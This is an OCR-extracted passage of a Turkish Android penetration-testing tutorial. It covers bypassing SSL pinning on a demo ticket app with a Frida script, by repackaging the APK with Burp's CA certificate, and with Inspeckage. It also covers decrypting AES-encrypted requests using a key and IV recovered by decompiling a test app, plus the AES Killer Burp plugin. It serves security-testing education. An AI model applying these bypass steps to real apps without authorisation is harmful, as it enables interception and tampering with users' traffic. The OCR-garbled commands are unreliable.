[Genymotion Google::ticket.dkhos.mob.ticketmachinel->
[.] Cert Pinning Bypass/Re-Pinning
[+] Loading our CA...
[o] Our CA Info: CN=PortSwigger CA, OU=PortSwigger CA, O=PortSwigger, L=PortSwigger, ST=PortSwigger, C=PortSwigger
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore...
[+] Our TrustManager is ready...
[+] Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.init()...
[o] App invoked javax.net.ssl.SSLContext.init...
[+] SSLContext initialized with our custom TrustManager!

B
Sekil 20. Frida ile SSL Pinning Atlatmaya yarayan betik kullanimi

Sekil 20 ve 21de goriildiigh tizere frida -U -f ticket.dkhos.mob.ticketmachine -1 frida-android-sslpinning-bypass.js --no-
pause komutu ile Ticket Machine uygulamasi iizerinde SSL pinning atlatma betigi ¢alistirilmaktadir.

TicketMachine

vine -1 frid droid-sslpi g-bypass.js --no-pause — 133x31

® @ Desktop — frida -U -f ticket.dkhos.mob.ti
....dkhos.mob.ticketmachine -1 frida-android-ssipinning-bypass.js --no-pause ~/Desktop — adb shell
Pl Ahmets-MacBook-Pro:Desktop ahmet$ adb push cacert.der /data/local/tmp/cert-der.crt
cacert.der: 1 file pushed. 8.3 MB/s (973 bytes in 8.883s)
Ahmets-MacBook-Pro:Desktop ahmet$ adb push frida-server /data/local/tmp
fride-server: 1 file pushed. 96.2 MB/s (24303332 bytes in @.241s)
Ahmets-MacBook-Pro:Desktop ahmet$ frida -U -f ticket.dkhos.mob.ticketmachine -1 frida-android-sslpinning-bypass.js --no-pause

+ Pelinsu Club'a hoggeldiniz

Frida 11.8.13 - A world-class dynamic instrumentation toolkit

Commands : test
help -> Displays the help system
object? > Display information about ‘object’
exit/quit -> Exit

. More info at http://wew.frida.re/docs/home/
Spawned ticket.dkhos.mob.ticketmachine®. Resuming main thread!
[Benymotion Google::ticket.dkhos.mob.ticketmachinel-»
[.] Cert Pinning Bypass/Re-Pinning
(+] Loading our CA...
[0] Our CA Info: CN=PortSwigger CA, OU=PortSwigger CA, O=PortSwigger, L=PortSwigger, ST=PortSwigger, C=PortSwigger
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore... aass
[+] Our TrustManager is ready...
[+) Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.imit(}...
(o] App invoked javax.net.ssl.SSLContext.init...
[+]) sSLContext initialized with our custom TrustManager!

GET TICKET

Sekil 21. Frida ile SSL Pinning Atlatmaya yarayan betik kullanimi-2

74
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Sekil 20 ve 21'de betik calistirildiktan sonra uygulama tizerinden veri girisi yapilip GET TICKET butonuna basildiginda uy-
gulama ile sunucu arasindaki istek Burp Suite proxy yaziliminda goriilebilmektedir. SSL pinning basarili bir sekilde Frida ile

atlatilmagtr.
mtercept  HTTP history  WebSockfil SERE W BT

Filter: Hiding CSS, image and general binary content

# ¥ Host Method  URL Params | Edited Status Length MIME typ
24 htips://pelinsu.club POST Jipages /login.php B HTML |
23 https: /fconnectivitycheck.gstatic.... GET Jgenerate_204 204 153
22 hutps: / fconnectivitycheck.gstatic... GET fgenerate_204 204 153
17 hups:/fandroid googleapis.com POST fauth/devicekey v 400 2000 HTML
13 hitp: / fconnectivitycheck.gstatic.... GET Jgenerate_204 204 102
12 https [ fandroid .googleapis.com  POST Jfauth/devicekey v 400 2000 HTML Pelinsu Club'a hosgeldiniz
11 https: [ fplay.googleapis.cam POST Iplay/logPformat=rawdproto_v2 =true v 200 427 text S
10 hups: //play.googleapis.com GET Iplay/log/timestamp 200 773 text
9 https: /play.googleapis.com POST flog/batch ¢ 200 387 text
B https: /fplay.googleapis.com POST {log/batch v 200 827 text
7 hups./fandroid.googleapis.com  POST fauth/devicekey v 400 2000 HTML
6 hutps: / fincoming.telemetry.moz... POST fsubmit/telemetry/3da8adf3-78a7-5... v 200 122 text
5 hups: [ fiiles.services.mozilla.com POST fvd /links factivity-stream v 200 221 JSON
3 hitps:/ fwww.google.com GET Jjcomplete/searchiclient=firefox&q=hit v 200 654 JSON
2 https: / fwww.google.com GET Jcomplete searchiclient=firefox&q=ht v 200 524 JSON test
|
Request

Raw  Params Heade|

POST /pages/login.php HTTP/1.1

Accept-Language: en-US;g=0.5

Accept: */#*

Content-Type: application/json

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Google Build/MRAS58K)
Host: pelinsu.club

Connection: close

Accept-Encoding: gzip, deflate

Content-Length: 29

{"pass":"test","mail":"test"}

Sekil 22. Frida ile SSL Pinning Atlatmaya yarayan betik kullanimi-3
APK Dosyasi Degistirilerek SSL Pinning Atlatma
Android uygulama kurulum dosyalar1 olan _ sfeis

APK dosyalarinin kaynak kodlarinin bir kis- |~
Qrganize = = Cpen Shate with = e folder
mina, tersine mithendislik yontemleri ile ula-

sabilmek miimkiindiir. Dex2jar, JD-GUI gibi "EO:*TD“ , s
decompiling araglar1 ile kaynak kodun belli Soom | i
bir kismina ulasilabilir fakat bu kod {izerinde e

bazi degisiklikler yaparak yeniden APK haline S Dol (O

o' Music
getirmek miimkiin degildir. Bunun igin uygu- ey
lamay1 APKTool vb. araglar ile smali koduna e
e . . . Main | Framewo, . outpua | Optiens | [ tews |
doniistirmemiz gerekmektedir. Smali kodun- . M o e ———— .

o . . . . . . . . . & Locsi DakiCH APK / Decompiled folder CiUserrrostDesktan'test ok s.ﬁtlm -
da dontistim ylizde ylzdir ve donistiirillen & i TaE
smali kodlarinda ve dosyalarinda degisiklik ya- | ™" i —
pilarak yeniden compile edilip ve apk dosyast ﬁ gk YT Rpsse——
imzalanarak yeni bir apk elde edilebilir. | e R R B

Keep crigmai signature
Y l G
Zipalign after compee

Extruct APV Zip AP Inetsil APX ) Sign APK after compile ioverwritel
Iitall APK after signing

0 APK Eagy Toolaxs Date medified: 1402

] Desompiled Compiled AFE | | Extiscted ARC Dipped AP
— APE directory dwectony rectony directory Oweratite the AP drag &nd drog snly)

| Pacage name
| Version name
Version code

Min SDE werslor: 71 Target SDE version: 3 Full 4P Infamatisn

Sekil 23. APK Easy Tool ile Smali koduna dontigiim
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Sekil 23’te goriilen APK Easy Tool araci ile Ticket Machine SSL pinning bulunan uygulamanin apk dosyast smali koduna do-
nistiralmustir.

[E=5E=R =
=,
(. )® .. » Libraries » Documents » APK Easy Tool » 1-Decompiled APKs » test » res » raw - |+ Search raw ‘
) =¥, P 2
Organize « Share with » New folder ﬁ bt E;l @
/¢ Favorites Documents library Aot Folie 7
Bl Desktop raw
& Downloads
"R OneDive f pelinsuclub.crt Date modified: 20.03.2019 09:50
Type: Security Certificate Size: 1,27 KB

1=, Recent Places

- Libraries
B Documents

Sekil 24. APK Easy Tool ile Disassembling APK Dosyasi

Sekil 24’te smali koduna gevrilen APK dosyasinin res dizinin altinda bulunan raw dizinin altinda uygulamanin kullandig: pe-
linsuclub.crt sertifikasi bulunmugtur.

« c @ @ http://burp @ s m o e =

Burp Suite Professional CA Certificate

Welcome to Burp Suite Professional.

Sekil 25. Burp Suite Proxy aracinin CA Sertifikasi

Sekil 25’te goriilen web tarayicisi tizerinden Burp Suite proxy yazilimimin CA sertifikasinin bulundugu http://burp adresinden
sertifikay1 indirmekteyiz.

[E= R )
@_Ov| . » Libraries » Documents » APKEasy Toel » 1-Decompiled APKs » test » res » raw - ‘41” Search raw P|
Organize v Share with Mew folder =~ [ @
/¢ Favorites Documents library Arrange by:  Folder =
Bl Desktop aw
4 Downloads
& OneDrive [ cacert.der Date modified: 20.03.2019 09:53
%5 Recent Ploces I Type: Security Certificate Size: 973 bytes
pelinsuclub.crt Date modified: 20,03.2019 09:50
4 Libraries a Type: Security Certificate Size: 1,27 KB

D Documents

Sekil 26. Doniistiiriilen APK dosyasinin res/raw Dizini
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Sekil 25’te goriilen Burp Suite proxy yaziliminin CA sertifikasi Sekil 26'da goriilen res/raw dizinine tasmnmigtir. Burada pelin-
suclub.crt sertifikasi silinerek cacert.der sertifikasinin ad1 pelinsuclub.crt olarak degistilmektedir.

© APK Easy Tool

)APK Easy Tool

4 sutput | Optiens | Quick Help. Hews I About

Main | Framework | Smalbaksmat

AP / Decompiled fokder: Select APK | | g

Decompile name: Usetag

Complie/sign name:

- Browse For Foider
Q: Select the decompiled folder project to work with
_chaiai -
= L)
Decompile Compile Sign APK 4B roat
3 I T ddlerc
Applata
| -— i5 Contacts
‘ I Desitop
| Edacars || Deam || st APx | # Downloads
Decompiled Compiled APK Extracted APK [+ Favorites
AP directory | | directory | directory @ tinks

# || My Documents

@ | APK Easy Tool

Fackage name:
Version name:

Version code: # | 1-Decompied APKs
Min SDK version: Target SDK version 4| test
original
-t res
A new version is available: 1.541
smali
Bifen ok OSAE, mla Sid okit BloS cont 2-Recomgpiled APKs

3-Extracted APKs
4-Tipped APKs

Make Mew Foider

Sekil 27. APK Easy Tool arac1 ile Compile iglemi-1

O 4PK Easy Tool [fo] @ (==
24 e ==

(&) APK Easy Tool

Main | Framework Smali/baksmali | Log output ' Options | Quick Help [News About |
Us Pis'test Select APK
Use tag
ave i g
=i i Force delete destination directory
4
Decompile Compile Sign APK ZipAlign Skip changes d.
].' Keep original signature
) i
f( ;!
ZipAlign after compile
Extract APK Zip APE Install APK Sign APK after compile {overwrite]
stall APK af ¢
Decompiled Compiled APK | | Extracted APK Zipped APK KRN g
APK directory directory directory directory Overwrite the APK {drag and drop onty)
Signing APK file using apksigner.jar by Google...
—
| Cancet |
Download portable version
A new version is available: 1.541 Download installer version
Download from XDA forum
Before you download, make sure your DNS ig is not hijacked or malcious certificate installed by a mahware

Sekil 28. APK Easy Tool araci ile Compile islem-2

Sekil 27'de doniistiiriilen APK dosyasinin raw dizini altindaki res dizinin altindaki pelinsuclub.crt dosyas1 Burp Suite proxy
yaziliminin CA sertifikasi ile degistirilmistir. Bu islemden sonra APK yeniden compile edilmis ve Sekil 29da goriildiigii tizere
compile isleminin ardindan basarili bir sekilde imzalanmustir.
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© APK Easy Tool o |8 ]s

—
Main | Framework | Smali/baksmali | Log output | Options | Quick Help | News |Ahoul

APK / Decompiled folder:  C\Users\root\Documents\APK Easy Tool\l-Decompiled APKs\test | Select APK | -

Decompile name: Use tag

Complie/sign name:  test

i ] Quick Options
\ @ Decompile:
‘(/ $ —_— | ‘ PRt BXle ) | | Force delete destination directory
: e | ‘ i Compile:
Decompile | Compile | APK Easy Tool = I, | Skip changes detection

Keep original signature

o |
\.'.{ .lll 0 Sign successful. o Sign:

ZipAlign after compile

Extract APK Zip APK | Sign APK after compile [overwrite]
e e ) ¥ i
Decompiled | | Compiled AR aK, ; Tnstoll APK after signing
APK directory JI 1 directory | Overwrite the APK [drag and drop only)

Package name:  ticket.dkhos.mob.ticketmachine

Version name: 1.0
Version code: 1 —— I
Min SDKversion: 23 Target SDK version: 26 Bl AR Infomation |
Download portable version
o A new version is available: 1.541 Download installer version
Download from XDA forum
Before you download, make sure your DNS config is not hijacked or maldous certificate installed by a malware
Sekil 29. APK Easy Tool aract ile Compile islemi-3
==
| | » Libraries » Documents » asy Tool » 2-Recompil 5 v | #¢ || Search 2-Re od APK
g Liby D APK Easy Tool » 2-R led APK: [

Organize + Share with = Mew folder = v [ _J B
¢ Favorites l)rocuant:; library Pl
Bl Desktop 2-Recompiled APKs

& Downloads
& OneDrive testapk Date medified: 20.03.2019 09:56
Type: APK File Size: 129 KB

= Recent Places

- Libraries

#| Documents

Sekil 30. APK Easy Tool araci ile Compile edilen APK

Compile islemi yapilmis olan APK’nin yeni versiyonu APK Easy Tool aracinin Recompiled APKs dizininde olugsmaktadir. Bu
olusan yeni APK dosyas1 android emiilatoriimiize Sekil 31'de goriildiigii gibi kuruldugunda ve uygulamaya veri girisi yapilip
butona tiklandiginda uygulama ve sunucu arasindaki istekler Burp Suite proxy yaziliminda gériilmektedir. APK dosyasinda
bulunan gomili sertifika dosyasi degistirilerek ssl pinning basarili bir sekilde atlatilmistir.
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Dashboard Target Proxy  Intruder  Repeater Sequencer  Decoder  Comparefll Y
Intercept  WTTP history  WebSockets history TicketMachine
Filter; Hiding C35, image and general binary content
# ™ |Host Method  URL Params  Edied St Length  MIME fype  Extenskon |
19 bams:fipelins.cub POST Ipages (login.pho HTML phe |
18 hitps: { feantent-signature.cdn....  GET Jehains fanecrl.content - signature. mozil... 200 6406 seript chain
17 hitps:j ffirefox. settings. services. ., GET vl fbusckets fblocklists fcollections fcert. < 200 1362 JSON
16 hatps: { ffirefox_settings. services.... GET vl fbuckets [blocklists/collections feert... < 200 1079 1508
15 hmps:/ jconsent-signature. cdn. Jchaing fremote -settings. content-3igna. . 104 413 chain
14 hatps: / ffirefox setmings. service: buckets /main/ colectons fumonit.. ol 200 1403 508 :
13 hitps: { firefox settings. services.... buckets /main/collections | frumon v 200 1567 150N
12 bitps://content-signature. cdn Ichains fremote-settings. content-sigH 200 6431 seript chain
11 hitps: / ffirefox settings. services.... GET vl fbuckets fblocklists /collections fadd... o 200 1399 JS0N
10 hitps:j firefax settings. services.... jvl fbuckats fblocklists fcollections fadd... 200 11308 JSON
9 haps: { ffirefox_setings. services.... GET buckets /maonitor /collections /chan... 200 10007 JSON
8 hatps; { fandroid . googheapis.com  POST uth/devicekey v 400 2000 HTML
3 hatps: { feontent-signature.cde... GET Jchains /mormandy. content-signature.... v 304 413 chain
5 hitps: { feantent-signature.cdn....  GET Jehains fmormandy. content-signature. ... v 200 6410 seript chain o
4 hitps: / incemandy.cdnmazilla.net GET Japiivl frecipe /signed [fenabled = irue 4 200 73279 JSON SSL Pinning Test
-
Request
Raw  Params  Headers  Hex
POST /pages/login.php HTTP/1.1
Accept-Language: en-US;g=0.5
Accept: =/*
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Google Build/MRASBK) SR
Host: pelinsu.club
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 41
{"pass”:"TEST","'mail”:"S5L Pinning Test"}
GET TICKET

Sekil 31. Degistirilen Ticket Machine APK Uygulamasi

Inspeckage ile SSL Pinning Atlatma
Inspeckage - Android Package Inspector, android mobil uygulamalarinda detayli dinamik analiz ve hooking yapmamizi sag-

layan gelismis bir Xposed modiiliidiir. https://github.com/ac-pm/Inspeckage adresinden Inspeckage modiiliiniin apk kurulum

dosyasina ulagabilirsiniz.

Package Inspector

Only user app

T3

BusyBox Free

Diva

Inspeckage

JustTrustMe

Magisk Manager

RootCloak

SSLUnpinning 2.0

TicketMachine

Xposed Installer

com.android.gesture.builder

Sekil 32. Inspeckage Uygulamasi -1

Package Inspector
Only user app

choose target

>>> ticket.dkhos.mob.ticketmachine

Module enabled
Server started

http://10.0.3.15:8008
http://192.168.56.101:8008
http://127.0.0.1:8008

adb forward tcp:8008 tcp:8008

LAUNCH APP

Sekil 33. Inspeckage Uygulamasi -2
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Sekil 32 ve 33’te Inspeckage uygulamasinin kurulduktan sonraki ekranlar1 goriilmektedir. Sekil 32'de gortldugi tizere analiz
edilmek istenilen uygulama secildikten sonra $ekil 33’te goriilen port yonlendirme islemleri $ekil 34’te gortildiigii tizere adb ile
yapildiktan sonra LAUNCH APP butonuna basilmas: yeterlidir.

~— -bash ‘ =2
Last login: Wed Mar 2@ 13:47:17 on ttys@eo

Ahmets—-MacBook-Pro:~ ahmet$ adb forward tcp:80@8 tcp:8008
Ahmets-MacBook-Pro:~ ahmet$ [

Sekil 34. Inspeckage Uygulamasi Port yonlendirme

TicketMachine

S5L TEST

........

GET TICKET

Sekil 35. Ticket Machine Uygulamast

LAUNCH APP butonuna basildiginda $ekil 35te goriildiigii iizere uygulama agilmaktadir. Uygulama kullanildik¢a cihaz tize-
rinde yaptig1 tiim islemler Inspeckage web arayiiziinden goriilebilmektedir. Inspeckage, dinamik analiz esnasinda uygulama ve

uygulamanin haberlestigi sunucu arasindaki istekleri gostermektedir. SSL pinning oldugu durumlarda SSL pinning atlatmaya
calismaktadir.




@ © @ FJ inspeckage - Package Inspect. X+

€ C @ 127.0.0.1:8008/#

Download ~

Package Information

TicketMachine [Ef)

Shared Preferences Serialization
Exported Activities

ticket.dkhos.mob.

Non Exported Activities

ticket.dkhos.mob.

Main2Activity

Exported Content Provider

-=null

Non Exported Content Provider

==null

Exported Services

== null

Exported Broadcast Receiver

- null

Sekil 36. Inspeckage Uygulamasi

UID: 10052 | Debuggable: false
GIDs: 3003
Allow Backup: true

Ahmet GUREL / Android Uygulamalari
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* Oso@d @ :

App is running: true Module enable: true

Package: ticket.dkhos.mob.ticketmachine
Data dir: /data/user/0/ticket.dkhos.mob.ticketmachine Tree View

Crypto Hash SQlite HTTP ) File System €X) Misc. WebView IPC + Hooks
Start Activity Requested Permissions
android.permission.INTERNET
App Permissions
-- Permissions
Query Provider Shared Libraries

Web Arayiizii-1

- null

Non Exported Services

== null

Non Exported Broadcast Receiver

== null

Sekil 37de HTTP sekmesi altinda goriildiigi tizere SSL pinning bulunan Ticket Machine uygulamasinin baglandig: adresler

listelenmektedir.

ece F3 Inspeckage - Package Inspeci. X +

< C  © 127.001:8008/#

== Download -

« O a9o@0

App is running: true Module enable: true

TicketMachine [EE)

Package Information

Shared Preferences Serializatior

Clear

L} HttpURLConnection: https://pelinsu.club/pages/login.php
[E21 HitpURLConnection: https://pelinsu.club/pages/login.php
D) Possible pinning.
[ HttpURLConnection: https:/pelinsu.club/pages/login.php
{3 HitpURLConnection: https://pelinsu.club/pages/login.php
Possible pinning.
[ HttpURLConnection: https:/pelinsu.club/pages/login.php
ttpURLConnection: https:/pelinsu.club/pages/login.php
[ Possible pinning.
[EJ HttpURLConnection: https:/pelinsu.club/pages/login.php
[£] HitpURLConnection: https:/pelinsu.club/pages/login.php
[EB Possible pinning.

UID: 10052 | Debuggable: false

Package: ticket.dkhos.mob.ticketmachine

GIDs: 3003 Data dir: /di dkhos.mob.ti Tree View
Allow Backup: true
n Crypto Hash SQLite HTTP File System €&) Misc. WebView IPC + Hooks

Sekil 37. Inspeckage Uygulamas1 Web Arayiizii-2

HTTP istegi Sifreleme (HTTP Request Encrytion)

Mobil uygulamalarda saldirganlarin uygulama giivenlik agiklarini bulmasini engellemek icin root detection, SSL Pinning gibi
onleyici giivenlik 6nlemlerini inceledik. Bunlarin haricinde 6deme ve finans islemleriyle ilgili olan mobil uygulamalarda go6-
riilen uygulama ile sunucu arasinda giden HT TP isteklerinin sifrelendigi ve proxy yazilimlariyla (BurpSuite, Zap, Fiddler vb.)
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araya giren saldirganlarin ya da giivenlik test uzmanlarinin uygulama isteklerini degistirerek giivenlik zafiyetlerini tespit et-
mesini engellemeye calisilmaktadir. HTTP isteklerinin sifrelenmis 6rnek uygulamasmin kurulum dosyasini https://github.

com/11x256/frida-android-examples/blob/master/examples/5/app-release.apk adresinden indirebilirsiniz.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

Intercept HTTP history  WebSockets history Options

Filter: Hiding CS5, image and general binary content

# Host Method  URL Params | Edited Status Length MIME type  Extension Title Comment SSL P Cookies

9 https://play.googleapis.com POST Iplay/log*format= rawdproto_v2 =true -1 ¥ unknown host

8 https://play.googleapis.com GET /play/log/timestamp = ” = = T =
7 hitp://192.168.18.134 POST J 7 [ ] L) Genymotion for personal use - Google Nexus 9 - 6.0.0 - API 23 - 1536x2048 (1536x2048, 320dpi) -1

)

frida-test

Request

Raw Params Head

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Google Build/MRASBK)
Host: 192.168.18.134

Connection: close

Accept-Encoding: gzip, deflate

Content-Length: 45

9cn98kig0i43MjGd3htE9cbFuMx+TrAJtK0Dec7 j7Tro=

Sekil 38. HTTP istegi sifreli olan test uygulamasi

Indirilen uygulama kuruldugunda ve data girilip butona basildiginda Sekil 38'de goriildiigii iizere Burp Suite proxy yazilimina
web istekleri diigmektedir. Goriilen HTTP isteginin igeriginin sifreli oldugu gorilmektedir.

Ahmets-MacBook—Pro:Desktop ahmet$ d2j-dex2jar frida-test.apk
dex2jar frida-test.apk -> ./frida-test-dex2jar.jar
Ahmets-MacBook-Pro:Desktop ahmet$

Pfridastest-
dexZjar.jar 4

Sekil 39. Dex2jar ile frida-test.apk Decompile (Geri Derleme) Islemi
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Ahmets-MacBook-Pro:Desktop ahmet$ d2j-dex2jar frida-test.apk
dex2jer frida-test.apk -> ./frids-test-dex2jar.jar
o | lAhmets-MacBook-Pro:Desktop ahmet$

[ ] ® my_activity.class - Java Decompiler
Sl e d
* B i seeor my_activity.class

¥ & com.example.allx256.frida_test

» 13 BuildConfig.class import javax.crypto.IllegalBlockSizeException;

import javax.crypto.MoSuchPaddingException;

]
fidla-testd ¥ b Rclass import javax.crypto.spec.IvParameterSpec;
dex2jar.jar. > 'm import javax.crypto.spec.SecretKeySpec;

public class my_activity
extends

HttpURLConnection conn;
TextView message_tv;
EditText password_et;
EditText username_et;
String dec(String paramString)
{
try
{
paramString = Base64.decode(paramString.getBytes(), @);
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCSSPADDING");
localCipher.init(2, new SecretkeySpec("aaaaaaaaaaaaaaaa".getBytes("UTF-8"), "AES"), new IvParameterSpec('bbbbbbbbbbbbbbbb".getBytes("UTF=8")));
paramString = new String{localCipher.doFinal(paramString));
return paramString;
¥
catch (UnsupportedEncodingException paramString)

paramString.printStackTrace();
return "'

¥
catch (NoSuchPaddingException paramString)
{
for (;;)
{
paramString.printStackTrace();
catch (InvalidAlgorithmParameterException paramString)
for (;;)
{
paramString.printStackTrace();

i3
catch (NoSuchAlgorithmException paramString)
{

Sekil 40. JD-GUT ile agilan JAR dosyasi ve Android Kaynak Kodlar:

Sekil 39 ve 40’ta goriildiigii tizere APK dosyasi tersine miihendislik yontemleri ile Android kaynak kodlarina ulasiimigtir. $ekil
40’ta gorildiigii gibi kullanilan sifreleme yonteminin AES/CBC/PKCS5Padding oldugunu kaynak kod tizerinde gorebilmekte-
yiz. Blok sifreleme tiirii olan AES (Advanced Encryption Standard) CBC (Cipher Block Chaning) ile sifrelemek ve ¢6ziimlemek
i¢in bir adet key ve bir adet IV degeri gerekmektedir. Kaynak kodda key ve IV degerleri gortilmektedir. Uygulamanin HTTP
istegindeki sifrelenmis veriyi ¢oziimlemek igin key ve IV degerlerini kullanarak a¢ik metin HTTP istegine ulasabilecegiz. Sekil
41'de gortilen AES/CBC/PKCS5Padding sifreleme ve ¢oziimleme yapan java ile yazilmig betik goriilmektedir. Arguman olarak
key ve IV degerlerini alarak hem sifeleme hem de ¢6ztimleme islemi gerceklestirmektedir. Yazilan betige https://github.com/
ahmetgurel/AES-Encryption-Decryption adresinden ulasabilirsiniz. Bunun haricinde http://www.devglan.com/online-tools/
aes-encryption-decryption adresinden online olarak AES sifreleme ve ¢oziimleme islemini gerceklestirebilirsiniz.
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main{String
{args. length
: java Decrypt 1 ' data
: java Decrypt 2 data

ring islem - args[o];

out.println(*Islem: " + islem);

(islem.eq "1 4
by encrypted — encrypt(dirty.ge ‘UTF-8"), key,
ystem.out.println("Encrypted: ¥a 4.getEncoder().e
i
dirtybytes e oder().d {dirty);
decrypted e t ybytes, key, iv);
em. out.println("Decrypted: " String(decrypted, “"UTF-8"));

ti )1
.out.printin(e

bytel] tob

arrayOfByte
array2 paramString

.arr (array2, 0, arrayOfByte, 8, Math.min(array2.length, arrayOfByte.length));

array0fByte;

™ Desktop — -bash — 135x35

~fDesktop — -bash -+
Ahmets-MacBook-Pro:Desktop ahmet$ javac Decrypt.java
Ahmets-MacBook-Pro:Desktop ahmet$ java Decrypt
Encrypt: java Decrypt 1 "SecretKey" "IV" "data"
Decrypt: java Decrypt 2 "SecretKey" "IV" "data"

Ahmets-MacBook-Pro:Desktop ahmet$ java Decrypt 2 aaaaaaaaaaaaaaaaa bbbbbbbbbbb 9cn98kig8i43MjGd3htE9obFuMx+TrAJtKeDe7j7Tro=
Islem: 2

Decrypted: TEST:hardco=ecret_password
Ahmets-MacBook-Pro:Desktop ahmet$ [|

BUTTON

Sekil 42. Decrypt.java betigi ile AES sifre ¢6ziimleme-1

Sekil 42 ve 43’te goriildiigli tizere Decrypt.java betigi ile Burp Suite proxy yazilimina goriilen sifreli HT TP isteginin datasi ¢6-
ziimlenmis, ve daha sonra a¢ik metinde degisiklik yapilarak yeniden ayni key ve IV degeri ile sifrelenmistir.

84
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Ahmets-MacBook-Pro:Desktop ahmet$ javac Decrypt.java
|Ahmets-MacBook-Pro:Desktop ahmet$ java Decrypt
Encrypt: java Decrypt 1 "SecretKey" "IV" “"data"

Decrypt: java Decrypt 2 "SecretKey" "IV" “"data"
Ahmets—MacBook—Pro:Desktop ahmet$ java Decrypt 2 aaaaaaaaaaaaaaaaa bbbbbbbbbbb 9¢cn98kigPi43MjGd3htEobFUMx+TrAJtKBDc7i7Tro=

Islem: 2
Decrypted: TEST:hardco=ecret_password
Ahmets-MacBook-Pro:Desktop ahmet$ java Decrypt 1 aaaaaaaaaaaaaaaaa bbbbbbbbbbb AHMET:hardco=ecret_password

Islem: 1
Encrypted: 26ItE7/eoCL2TA0PBY7JI8YCKIHtHCTM4FAERB+1P1I45=
Sekil 43. Decrypt.java betigi ile AES sifre ¢oziimleme -2

Bu sekilde, uygulama iizerinden giden her HT TP isteginin igeriginin ¢6ziimlenmesi ve test edilecek degisken ve parametrelerde
degisiklik yapilarak yeniden sifrelenerek sunucuya gonderilip gelen HTTP cevabinin ¢6ztimlenmesi gerekecektir. Her ne kadar
HTTP istek sifreleme 6nlemi ¢6ziimlenebilse bile saldirganlar1 ve giivenlik testini gergeklestiren uzmanlar1 yavaslatacak bir

onlemdir.

Her bir HTTP isteginin tek tek ¢oziimlenmesi ¢ok vakit alacag1 i¢in bunun i¢in daha hizl bir ¢6ztim gerekmektedir. Bu sorunun
hizli ¢6ziimti i¢in AES Killer adinda bir Burp Suite eklentisi bulunmaktadur.

) Releases - Ebryx/AES-Killer x =

c & GitHub, Inc. [US] | https://github.com/Ebryx/AES-Killer/releases w C

Pull requests Issues Marketplace Explore

- Ebryx / AES-Killer @ watch~ 18 % Unstar 271 YFork 52

<> Code Issues 2 Pull requests 0 Projects 0 Wiki Insights

Latest release AES-KI”GI’ V3'O

<30
& d3vilbug released this on Nov 1, 2018 - 5 commits to master since this release
-O- 4f8d8c@ e
v3.e
w Assets 3
9 AES_Killer.jar 58.8 KB
[ Source code (zip)
[0 Source code (tar.gz)
©20 H
AES Killer v2.0
0 d9bf662
Verified i.“ d3vilbug released this on Oct 1, 2018 - 10 commits to master since this release
Update build.xml
¥ Assets 3
56 KB

@ AES_Killer.jar

[©) Source code (zip)

Sekil 44. Burp Suite AES Killer Eklentisi Indirme Sayfast

Sekil 44’te goriildiigii tizere https://github.com/Ebryx/AES-Killer/releases adresine giderek AES Killer eklentisinin JAR dosya-
sin1 indirebilirsiniz.
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Extensions  BApp Store  APls  Options

Burp Extensions ®

Extensions let you customize Burp's behavior using your own or third-party code.

Add Loaded Type Name
Python Active Scan++
Remove Python Additional Scanner Checks
Python AuthMatrix
Java
L. Java
Down Java  please enter the details of the extension, and how you would like to handle standard o ® .
Java
Java, Extension Details # Downloads B
Extension type Java e Name Date Modified
Extension file (.jar): Select file ...

Extension loaded

Standard Output W AES Killer.
Name: Active Scan++
Output to system console
Item |
Extension type Save to file: Select file ...
Filename
® Show in Ul

Standard Error

Output to system console File Format: All Files

ﬁ

Cancel Next

Save to file: Select file ...

® Show in Ul

Sekil 45. Burp Suite AES Killer Eklenti Kurulumu

Burp Suite proxy aracini acarak Extender sekmesine tiklanmalidir. Sekil 45’te goriilen Burp Extensions altindaki Add butonuna
tiklanarak indirilen jar dosyasi gosterildiginde Sekil 46'da goriildiigii gibi AES Killer eklentisi basarili bir sekilde kurulmaktadir.

Dashboard  Target  Proxy Intruder  Repeater Sequencer  Decoder Comparer  Extender  Projectoptions  Useroptions  AESCrypto | AESKiller |

Secret Key Request starts with (Leave Blank if none) Off. char (Separated with space) Reguest URL Filter

¢ Proxy v Repeater
v Scanner v Intruder
Initialize Vector Response starts with (Leave Blank if none) Replace with (Separated with space) Do Obfuscation -

/' POST Method Only

Decrypt Response

Start AES Killer Stop AES Killer

Decrypt Encrypt Clear

Sekil 46. Burp Suite AES Killer Eklentisi
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Secret Key Request starts with (Leave Blank if none) Off. char (Separated with space) Request URL Filter i 7 Repeat
7) Proxy 7] Repaater
aaaaaaaaaaaaaaaa 192.168.18.134
v Scanner v Intruder
Initialize Vector Response starts with (Leave Blank if none) Replace with (Separated with space) Do Obfuscation POST Meth o
¥ POST Method Only

~ Decrypt Response

bbbbbbbbbbbbbbbh
Start AES Killer Stop AES Killer
Decrypt Encrypt Clear

® Message

AES Killer Started 1!

Lok
T ———

Sekil 47. Burp Suite AES Killer Eklentisi Baslatilmasi
Sekil 40’ta ele gegirilen key ve IV degeri AES Killer eklentisine girilerek ve sifreli iletisim kurulan URL veya IP bilgisi girilerek
Sekil 47'de goriildiigii tizere Start AES Killer butonu ile eklenti baglatilmaktadir.

Intercept m WebSockets history  Options

©)

Filter: Hiding CSS, image and general binary content
# ¥ Host Method  URL Params  Edited Status Length MIME type  Extension Title Comment
4 http://192.168.18.134 POST ] s v
3 http://connectivitycheck.gstatic.... GET /generate_204
2 http://192.168.18.134 POST ! J
1 http://192.168.18.134 POST v
SRR £ request
“ Params Headers Hex
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Google Build/MRAS58K)
Host: 192.168.18.134
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 65
JRMHNj2eH8ZRIuFgoBM1/V3EJgNlotlGLly6uGeW3dicjphCV+Afy+4339P701cw
0 matches

@ < + > Type a search term

